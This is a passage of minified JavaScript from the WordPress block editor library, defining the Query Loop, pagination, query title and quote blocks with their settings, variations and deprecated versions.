breakage."))),B&&(0,$e.createElement)(mb,{order:l,orderBy:i,onChange:n}),T&&(0,$e.createElement)(Eb,{value:u,onChange:e=>n({sticky:e})}))),!m&&(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.__experimentalToolsPanel,{className:"block-library-query-toolspanel__filters",label:(0,je.__)("Filters"),resetAll:()=>{n({author:"",parents:[],search:"",taxQuery:null}),x("")}},!(null==y||!y.length)&&hb(g,"taxQuery")&&(0,$e.createElement)(We.__experimentalToolsPanelItem,{label:(0,je.__)("Taxonomies"),hasValue:()=>Object.values(d||{}).some((e=>!!e.length)),onDeselect:()=>n({taxQuery:null})},(0,$e.createElement)(xb,{onChange:n,query:a})),hb(g,"author")&&(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!!s,label:(0,je.__)("Authors"),onDeselect:()=>n({author:""})},(0,$e.createElement)(bb,{value:s,onChange:n})),hb(g,"search")&&(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!!k,label:(0,je.__)("Keyword"),onDeselect:()=>x("")},(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Keyword"),value:k,onChange:x})),f&&hb(g,"parents")&&(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!(null==p||!p.length),label:(0,je.__)("Parents"),onDeselect:()=>n({parents:[]})},(0,$e.createElement)(fb,{parents:p,postType:c,onChange:n})))))}const Sb=[["core/post-template"]];function Bb(e){let{attributes:t,setAttributes:n,openPatternSelectionModal:o,name:a,clientId:r}=e;const{queryId:l,query:i,displayLayout:s,tagName:c="div",layout:u={}}=t,{__unstableMarkNextChangeAsNotPersistent:m}=(0,it.useDispatch)(Ze.store),d=(0,Wt.useInstanceId)(Bb),{themeSupportsLayout:p}=(0,it.useSelect)((e=>{var t;const{getSettings:n}=e(Ze.store);return{themeSupportsLayout:null===(t=n())||void 0===t?void 0:t.supportsLayout}}),[]),g=(0,Ze.useSetting)("layout")||{},h=null!=u&&u.type?{...g,...u}:{...g,...u,type:"default"},v=(0,Ze.useBlockProps)(),b=(0,Ze.useInnerBlocksProps)(v,{template:Sb,__experimentalLayout:p?h:void 0}),{postsPerPage:_}=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store);return{postsPerPage:+t().postsPerPage||3}}),[]);(0,$e.useEffect)((()=>{const e={};!i.perPage&&_&&(e.perPage=_),Object.keys(e).length&&(m(),y(e))}),[i.perPage]),(0,$e.useEffect)((()=>{Number.isFinite(l)||(m(),n({queryId:d}))}),[l,d]);const y=e=>n({query:{...i,...e}}),f=e=>n({displayLayout:{...s,...e}});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Cb,{attributes:t,setQuery:y,setDisplayLayout:f}),(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(cb,{name:a,clientId:r,attributes:t,setQuery:y,setDisplayLayout:f,openPatternSelectionModal:o})),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("HTML element"),options:[{label:(0,je.__)("Default (<div>)"),value:"div"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<aside>",value:"aside"}],value:c,onChange:e=>n({tagName:e})})),(0,$e.createElement)(c,b))}function Tb(e){var t,n;let{attributes:o,clientId:a,name:r,openPatternSelectionModal:l,setAttributes:i}=e;const[s,c]=(0,$e.useState)(!1),u=(0,Ze.useBlockProps)(),{blockType:m,allVariations:d,hasPatterns:p}=(0,it.useSelect)((e=>{const{getBlockVariations:t,getBlockType:n}=e(Ge.store),{getBlockRootClientId:o,__experimentalGetPatternsByBlockTypes:l}=e(Ze.store),i=o(a);return{blockType:n(r),allVariations:t(r),hasPatterns:!!l(r,i).length}}),[r,a]),g=(0,Ze.__experimentalGetMatchingVariation)(o,d),h=(null==g||null===(t=g.icon)||void 0===t?void 0:t.src)||(null==g?void 0:g.icon)||(null==m||null===(n=m.icon)||void 0===n?void 0:n.src),v=(null==g?void 0:g.title)||(null==m?void 0:m.title);return s?(0,$e.createElement)(Nb,{clientId:a,name:r,attributes:o,setAttributes:i,icon:h,label:v}):(0,$e.createElement)("div",u,(0,$e.createElement)(We.Placeholder,{icon:h,label:v,instructions:(0,je.__)("Choose a pattern for the query loop or start blank.")},!!p&&(0,$e.createElement)(We.Button,{variant:"primary",onClick:l},(0,je.__)("Choose")),(0,$e.createElement)(We.Button,{variant:"secondary",onClick:()=>{c(!0)}},(0,je.__)("Start blank"))))}function Nb(e){let{clientId:t,name:n,attributes:o,setAttributes:a,icon:r,label:l}=e;const{defaultVariation:i,scopeVariations:s}=(0,it.useSelect)((e=>{const{getBlockVariations:t,getBlockType:o,getDefaultBlockVariation:a}=e(Ge.store);return{blockType:o(n),defaultVariation:a(n,"block"),scopeVariations:t(n,"block")}}),[n]),{replaceInnerBlocks:c}=(0,it.useDispatch)(Ze.store),u=(0,Ze.useBlockProps)();return(0,$e.createElement)("div",u,(0,$e.createElement)(Ze.__experimentalBlockVariationPicker,{icon:r,label:l,variations:s,onSelect:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:i;e.attributes&&a({...e.attributes,query:{...e.attributes.query,postType:o.query.postType||e.attributes.query.postType}}),e.innerBlocks&&c(t,(0,Ge.createBlocksFromInnerBlocksTemplate)(e.innerBlocks),!1)}}))}function Pb(e){let{clientId:t,attributes:n,setIsPatternSelectionModalOpen:o}=e;const{replaceBlock:a,selectBlock:r}=(0,it.useDispatch)(Ze.store),l=(0,$e.useMemo)((()=>({previewPostType:n.query.postType})),[n.query.postType]),i=function(e,t){const n=(0,it.useSelect)((e=>{var n;return null===(n=e(Ge.store).getActiveBlockVariation(db,t))||void 0===n?void 0:n.name}),[t]),o=`${db}/${n}`,a=(0,it.useSelect)((t=>{if(!n)return;const{getBlockRootClientId:a,__experimentalGetPatternsByBlockTypes:r}=t(Ze.store),l=a(e);return r(o,l)}),[e,n]);return null!=a&&a.length?o:db}(t,n);return(0,$e.createElement)(We.Modal,{className:"block-editor-query-pattern__selection-modal",title:(0,je.__)("Choose a pattern"),closeLabel:(0,je.__)("Cancel"),onRequestClose:()=>o(!1)},(0,$e.createElement)(Ze.BlockContextProvider,{value:l},(0,$e.createElement)(Ze.__experimentalBlockPatternSetup,{blockName:i,clientId:t,onBlockPatternSelect:e=>{const{newBlocks:o,queryClientIds:l}=((e,t)=>{const{query:{postType:n,inherit:o}}=t,a=e.map((e=>(0,Ge.cloneBlock)(e))),r=[],l=[...a];for(;l.length>0;){var i;const e=l.shift();"core/query"===e.name&&(e.attributes.query={...e.attributes.query,postType:n,inherit:o},r.push(e.clientId)),null===(i=e.innerBlocks)||void 0===i||i.forEach((e=>{l.push(e)}))}return{newBlocks:a,queryClientIds:r}})(e,n);a(t,o),l[0]&&r(l[0])}})))}const Ib=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48"},(0,$e.createElement)(We.Path,{d:"M41 9H7v3h34V9zm-22 5H7v1h12v-1zM7 26h12v1H7v-1zm34-5H7v3h34v-3zM7 38h12v1H7v-1zm34-5H7v3h34v-3z"})),zb=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48"},(0,$e.createElement)(We.Path,{d:"M41 9H7v3h34V9zm-4 5H7v1h30v-1zm4 3H7v1h34v-1zM7 20h30v1H7v-1zm0 12h30v1H7v-1zm34 3H7v1h34v-1zM7 38h30v1H7v-1zm34-11H7v3h34v-3z"})),Mb=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48"},(0,$e.createElement)(We.Path,{d:"M41 9H7v3h34V9zm-22 5H7v1h12v-1zm22 3H7v1h34v-1zM7 20h34v1H7v-1zm0 12h12v1H7v-1zm34 3H7v1h34v-1zM7 38h34v1H7v-1zm34-11H7v3h34v-3z"})),Lb=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48"},(0,$e.createElement)(We.Path,{d:"M7 9h34v6H7V9zm12 8H7v1h12v-1zm18 3H7v1h30v-1zm0 18H7v1h30v-1zM7 35h12v1H7v-1zm34-8H7v6h34v-6z"})),Rb={query:{perPage:3,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!1}},Ab=[{name:"posts-list",title:(0,je.__)("Posts List"),description:(0,je.__)("Display a list of your most recent posts, excluding sticky posts."),icon:wu,attributes:{query:{perPage:4,pages:1,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",sticky:"exclude",inherit:!1}},scope:["inserter"]},{name:"title-date",title:(0,je.__)("Title & Date"),icon:Ib,attributes:{...Rb},innerBlocks:[["core/post-template",{},[["core/post-title"],["core/post-date"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]},{name:"title-excerpt",title:(0,je.__)("Title & Excerpt"),icon:zb,attributes:{...Rb},innerBlocks:[["core/post-template",{},[["core/post-title"],["core/post-excerpt"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]},{name:"title-date-excerpt",title:(0,je.__)("Title, Date, & Excerpt"),icon:Mb,attributes:{...Rb},innerBlocks:[["core/post-template",{},[["core/post-title"],["core/post-date"],["core/post-excerpt"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]},{name:"image-date-title",title:(0,je.__)("Image, Date, & Title"),icon:Lb,attributes:{...Rb},innerBlocks:[["core/post-template",{},[["core/post-featured-image"],["core/post-date"],["core/post-title"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]}],Vb=e=>{var t,n;const{query:o}=e,{categoryIds:a,tagIds:r,...l}=o;var i,s;return(null!==(t=o.categoryIds)&&void 0!==t&&t.length||null!==(n=o.tagIds)&&void 0!==n&&n.length)&&(l.taxQuery={category:null!==(i=o.categoryIds)&&void 0!==i&&i.length?o.categoryIds:void 0,post_tag:null!==(s=o.tagIds)&&void 0!==s&&s.length?o.tagIds:void 0}),{...e,query:l}},Hb=[{attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0},__experimentalLayout:!0},isEligible:e=>{let{query:{categoryIds:t,tagIds:n}={}}=e;return t||n},migrate:Vb,save(e){let{attributes:{tagName:t="div"}}=e;const n=Ze.useBlockProps.save(),o=Ze.useInnerBlocksProps.save(n);return(0,$e.createElement)(t,o)}},{attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0}},layout:{type:"object",default:{type:"list"}}},supports:{html:!1},migrate(e){const t=Vb(e),{layout:n,...o}=t;return{...o,displayLayout:t.layout}},save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null)}],Db=Hb,Fb=e=>{let{attributes:{query:{postType:t}={}}={}}=e;if(!t)return null;const n=(0,rt.addQueryArgs)("post-new.php",{post_type:t});return(0,$e.createElement)("div",{className:"wp-block-query__create-new-link"},(0,$e.createInterpolateElement)((0,je.__)("<a>Create a new post</a> for this feed."),{a:(0,$e.createElement)("a",{href:n})}))},Gb=(0,Wt.createHigherOrderComponent)((e=>t=>{const{name:n,isSelected:o}=t;return"core/query"===n&&o?(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(Fb,t)),(0,$e.createElement)(e,nt({key:"edit"},t))):(0,$e.createElement)(e,nt({key:"edit"},t))}),"withInspectorControls"),$b={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query",title:"Query Loop",category:"theme",description:"An advanced block that allows displaying post types based on different query parameters and visual configurations.",textdomain:"default",attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[]}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}},namespace:{type:"string"}},providesContext:{queryId:"queryId",query:"query",displayLayout:"displayLayout"},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__experimentalLayout:!0},editorStyle:"wp-block-query-editor"},{name:Ub}=$b,Ob={icon:ib,edit:e=>{const{clientId:t,attributes:n}=e,[o,a]=(0,$e.useState)(!1),r=(0,it.useSelect)((e=>!!e(Ze.store).getBlocks(t).length),[t])?Bb:Tb;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(r,nt({},e,{openPatternSelectionModal:()=>a(!0)})),o&&(0,$e.createElement)(Pb,{clientId:t,attributes:n,setIsPatternSelectionModalOpen:a}))},save:function(e){let{attributes:{tagName:t="div"}}=e;const n=Ze.useBlockProps.save(),o=Ze.useInnerBlocksProps.save(n);return(0,$e.createElement)(t,o)},variations:Ab,deprecated:Db},qb=()=>((0,Js.addFilter)("editor.BlockEdit","core/query",Gb),qe({name:Ub,metadata:$b,settings:Ob})),Wb=[["core/paragraph",{placeholder:(0,je.__)("Add text or blocks that will display when a query returns no results.")}]],jb={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query-no-results",title:"No results",category:"theme",description:"Contains the block elements used to render content when no query results are found.",parent:["core/query"],textdomain:"default",usesContext:["queryId","query"],supports:{align:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:Zb}=jb,Qb={icon:ib,edit:function(){const e=(0,Ze.useBlockProps)(),t=(0,Ze.useInnerBlocksProps)(e,{template:Wb});return(0,$e.createElement)("div",t)},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)}},Kb=()=>qe({name:Zb,metadata:jb,settings:Qb});function Yb(e){let{value:t,onChange:n}=e;return(0,$e.createElement)(We.__experimentalToggleGroupControl,{label:(0,je.__)("Arrow"),value:t,onChange:n,help:(0,je.__)("A decorative arrow appended to the next and previous page link."),isBlock:!0},(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"none",label:(0,je._x)("None","Arrow option for Query Pagination Next/Previous blocks")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"arrow",label:(0,je._x)("Arrow","Arrow option for Query Pagination Next/Previous blocks")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"chevron",label:(0,je._x)("Chevron","Arrow option for Query Pagination Next/Previous blocks")}))}const Jb=[["core/query-pagination-previous"],["core/query-pagination-numbers"],["core/query-pagination-next"]],Xb=["core/query-pagination-previous","core/query-pagination-numbers","core/query-pagination-next"],e_=[{save:()=>(0,$e.createElement)("div",Ze.useBlockProps.save(),(0,$e.createElement)(Ze.InnerBlocks.Content,null))}],t_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query-pagination",title:"Pagination",category:"theme",parent:["core/query"],description:"Displays a paginated navigation to next/previous set of posts, when applicable.",textdomain:"default",attributes:{paginationArrow:{type:"string",default:"none"}},usesContext:["queryId","query"],providesContext:{paginationArrow:"paginationArrow"},supports:{align:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-query-pagination-editor",style:"wp-block-query-pagination"},{name:n_}=t_,o_={icon:Fa,edit:function(e){let{attributes:{paginationArrow:t,layout:n},setAttributes:o,clientId:a,name:r}=e;const l=n||(e=>{const t=(0,Ge.getBlockSupport)(e,"__experimentalLayout");return null==t?void 0:t.default})(r),i=(0,it.useSelect)((e=>{const{getBlocks:t}=e(Ze.store),n=t(a);return null==n?void 0:n.find((e=>["core/query-pagination-next","core/query-pagination-previous"].includes(e.name)))}),[]),s=(0,Ze.useBlockProps)(),c=(0,Ze.useInnerBlocksProps)(s,{template:Jb,allowedBlocks:Xb,__experimentalLayout:l});return(0,$e.createElement)($e.Fragment,null,i&&(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(Yb,{value:t,onChange:e=>{o({paginationArrow:e})}}))),(0,$e.createElement)("nav",c))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)},deprecated:e_},a_=()=>qe({name:n_,metadata:t_,settings:o_}),r_={none:"",arrow:"→",chevron:"»"},l_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query-pagination-next",title:"Next Page",category:"theme",parent:["core/query-pagination"],description:"Displays the next posts page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["queryId","query","paginationArrow"],supports:{reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:i_}=l_,s_={icon:Za,edit:function(e){let{attributes:{label:t},setAttributes:n,context:{paginationArrow:o}}=e;const a=r_[o];return(0,$e.createElement)("a",nt({href:"#pagination-next-pseudo-link",onClick:e=>e.preventDefault()},(0,Ze.useBlockProps)()),(0,$e.createElement)(Ze.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,je.__)("Next page link"),placeholder:(0,je.__)("Next Page"),value:t,onChange:e=>n({label:e})}),a&&(0,$e.createElement)("span",{className:`wp-block-query-pagination-next-arrow is-arrow-${o}`,"aria-hidden":!0},a))}},c_=()=>qe({name:i_,metadata:l_,settings:s_}),u_=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"a",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"";return(0,$e.createElement)(t,{className:`page-numbers ${n}`},e)},m_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query-pagination-numbers",title:"Page Numbers",category:"theme",parent:["core/query-pagination"],description:"Displays a list of page numbers for pagination",textdomain:"default",usesContext:["queryId","query"],supports:{reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"query-pagination-numbers-editor"},{name:d_}=m_,p_={icon:er,edit:function(){const e=(0,$e.createElement)($e.Fragment,null,u_(1),u_(2),u_(3,"span","current"),u_(4),u_(5),u_("...","span","dots"),u_(8));return(0,$e.createElement)("div",(0,Ze.useBlockProps)(),e)}},g_=()=>qe({name:d_,metadata:m_,settings:p_}),h_={none:"",arrow:"←",chevron:"«"},v_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query-pagination-previous",title:"Previous Page",category:"theme",parent:["core/query-pagination"],description:"Displays the previous posts page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["queryId","query","paginationArrow"],supports:{reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:b_}=v_,y_={icon:La,edit:function(e){let{attributes:{label:t},setAttributes:n,context:{paginationArrow:o}}=e;const a=h_[o];return(0,$e.createElement)("a",nt({href:"#pagination-previous-pseudo-link",onClick:e=>e.preventDefault()},(0,Ze.useBlockProps)()),a&&(0,$e.createElement)("span",{className:`wp-block-query-pagination-previous-arrow is-arrow-${o}`,"aria-hidden":!0},a),(0,$e.createElement)(Ze.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,je.__)("Previous page link"),placeholder:(0,je.__)("Previous Page"),value:t,onChange:e=>n({label:e})}))}},f_=()=>qe({name:b_,metadata:v_,settings:y_}),k_=["archive","search"],x_=[{isDefault:!0,name:"archive-title",title:(0,je.__)("Archive Title"),description:(0,je.__)("Display the archive title based on the queried object."),icon:lr,attributes:{type:"archive"},scope:["inserter"]},{isDefault:!1,name:"search-title",title:(0,je.__)("Search Results Title"),description:(0,je.__)("Display the search results title based on the queried object."),icon:lr,attributes:{type:"search"},scope:["inserter"]}];x_.forEach((e=>{e.isActive||(e.isActive=(e,t)=>e.type===t.type)}));const w_=x_,E_={attributes:{type:{type:"string"},textAlign:{type:"string"},level:{type:"number",default:1}},supports:{align:["wide","full"],html:!1,color:{gradients:!0},spacing:{margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},C_=[E_],S_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query-title",title:"Query Title",category:"theme",description:"Display the query title.",textdomain:"default",attributes:{type:{type:"string"},textAlign:{type:"string"},level:{type:"number",default:1},showPrefix:{type:"boolean",default:!0},showSearchTerm:{type:"boolean",default:!0}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0,textTransform:!0}}},style:"wp-block-query-title"},{name:B_}=S_,T_={icon:lr,edit:function(e){let{attributes:{type:t,level:n,textAlign:o,showPrefix:a,showSearchTerm:r},setAttributes:l}=e;const i=`h${n}`,s=(0,Ze.useBlockProps)({className:at()("wp-block-query-title__placeholder",{[`has-text-align-${o}`]:o})});if(!k_.includes(t))return(0,$e.createElement)("div",s,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Provided type is not supported.")));let c;return"archive"===t&&(c=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show archive type in title"),onChange:()=>l({showPrefix:!a}),checked:a}))),(0,$e.createElement)(i,s,a?(0,je.__)("Archive type: Name"):(0,je.__)("Archive title")))),"search"===t&&(c=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show search term in title"),onChange:()=>l({showSearchTerm:!r}),checked:r}))),(0,$e.createElement)(i,s,r?(0,je.__)("Search results for: “search term”"):(0,je.__)("Search results")))),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(ur,{selectedLevel:n,onChange:e=>l({level:e})}),(0,$e.createElement)(Ze.AlignmentControl,{value:o,onChange:e=>{l({textAlign:e})}})),c)},variations:w_,deprecated:C_},N_=()=>qe({name:B_,metadata:S_,settings:T_}),P_=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M13 6v6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H13zm-9 6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H4v6z"})),I_=e=>{const{value:t,...n}=e;return[{...n},t?(0,Ge.parseWithAttributeSchema)(t,{type:"array",source:"query",selector:"p",query:{content:{type:"string",source:"html"}}}).map((e=>{let{content:t}=e;return(0,Ge.createBlock)("core/paragraph",{content:t})})):(0,Ge.createBlock)("core/paragraph")]},z_={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:"",__experimentalRole:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",__experimentalRole:"content"},align:{type:"string"}},supports:{anchor:!0,__experimentalSlashInserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}}},save(e){let{attributes:t}=e;const{align:n,value:o,citation:a}=t,r=at()({[`has-text-align-${n}`]:n});return(0,$e.createElement)("blockquote",Ze.useBlockProps.save({className:r}),(0,$e.createElement)(Ze.RichText.Content,{multiline:!0,value:o}),!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:a}))},migrate:I_},M_={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:""},citation:{type:"string",source:"html",selector:"cite",default:""},align:{type:"string"}},migrate:I_,save(e){let{attributes:t}=e;const{align:n,value:o,citation:a}=t;return(0,$e.createElement)("blockquote",{style:{textAlign:n||null}},(0,$e.createElement)(Ze.RichText.Content,{multiline:!0,value:o}),!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:a}))}},L_={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:""},citation:{type:"string",source:"html",selector:"cite",default:""},align:{type:"string"},style:{type:"number",default:1}},migrate(e){if(2===e.style){const{style:t,...n}=e;return I_({...n,className:e.className?e.className+" is-style-large":"is-style-large"})}return I_(e)},save(e){let{attributes:t}=e;const{align:n,value:o,citation:a,style:r}=t;return(0,$e.createElement)("blockquote",{className:2===r?"is-large":"",style:{textAlign:n||null}},(0,$e.createElement)(Ze.RichText.Content,{multiline:!0,value:o}),!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:a}))}},R_={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:""},citation:{type:"string",source:"html",selector:"footer",default:""},align:{type:"string"},style:{type:"number",default:1}},migrate(e){if(!isNaN(parseInt(e.style))){const{style:t,...n}=e;return I_({...n})}return I_(e)},save(e){let{attributes:t}=e;const{align:n,value:o,citation:a,style:r}=t;return(0,$e.createElement)("blockquote",{className:`blocks-quote-style-${r}`,style:{textAlign:n||null}},(0,$e.createElement)(Ze.RichText.Content,{multiline:!0,value:o}),!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"footer",value:a}))}},A_=[z_,M_,L_,R_],V_="web"===$e.Platform.OS,H_=[["core/paragraph",{}]],D_={from:[{type:"block",blocks:["core/pullquote"],transform:e=>{let{value:t,citation:n,anchor:o,fontSize:a,style:r}=e;return(0,Ge.createBlock)("core/quote",{citation:n,anchor:o,fontSize:a,style:r},[(0,Ge.createBlock)("core/paragraph",{content:t})])}},{type:"block",blocks:["core/group"],transform:(e,t)=>{let{anchor:n}=e;return(0,Ge.createBlock)("core/quote",{anchor:n},t)}},{type:"prefix",prefix:">",transform:e=>(0,Ge.createBlock)("core/quote",{},[(0,Ge.createBlock)("core/paragraph",{content:e})])},{type:"raw",schema:()=>({blockquote:{children:"*"}}),selector:"blockquote",transform:(e,t)=>(0,Ge.createBlock)("core/quote",{},t({HTML:e.innerHTML,mode:"BLOCKS"}))},{type:"block",isMultiBlock:!0,blocks:["*"],isMatch:(e,t)=>{let{}=e;return 1===t.length?["core/paragraph","core/heading","core/list","core/pullquote"].includes(t[0].name):!t.some((e=>{let{name:t}=e;return"core/quote"===t}))},__experimentalConvert:e=>(0,Ge.createBlock)("core/quote",{},e.map((e=>(0,Ge.createBlock)(e.name,e.attributes,e.innerBlocks))))}],to:[{type:"block",blocks:["core/pullquote"],isMatch:(e,t)=>{let{}=e;return t.innerBlocks.every((e=>{let{name:t}=e;return"core/paragraph"===t}))},transform:(e,t)=>{let{citation:n,anchor:o,fontSize:a,style:r}=e;const l=t.map((e=>{let{attributes:t}=e;return`${t.content}`})).join("<br>");return(0,Ge.createBlock)("core/pullquote",{value:l,citation:n,anchor:o,fontSize:a,style:r})}},{type:"block",blocks:["core/group"],transform:(e,t)=>{let{citation:n,anchor:o}=e;return(0,Ge.createBlock)("core/group",{anchor:o},n?[...t,(0,Ge.createBlock)("core/paragraph",{content:n})]:t)}},{type:"block",blocks:["*"],transform:(e,t)=>{let{citation:n}=e;return n?[...t,(0,Ge.createBlock)("core/paragraph",{content:n})]:t}}]},F_=D_,G_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/quote",title:"Quote",category:"text",description:'Give quoted text visual emphasis. "In quoting others, we cite ourselves." — Julio 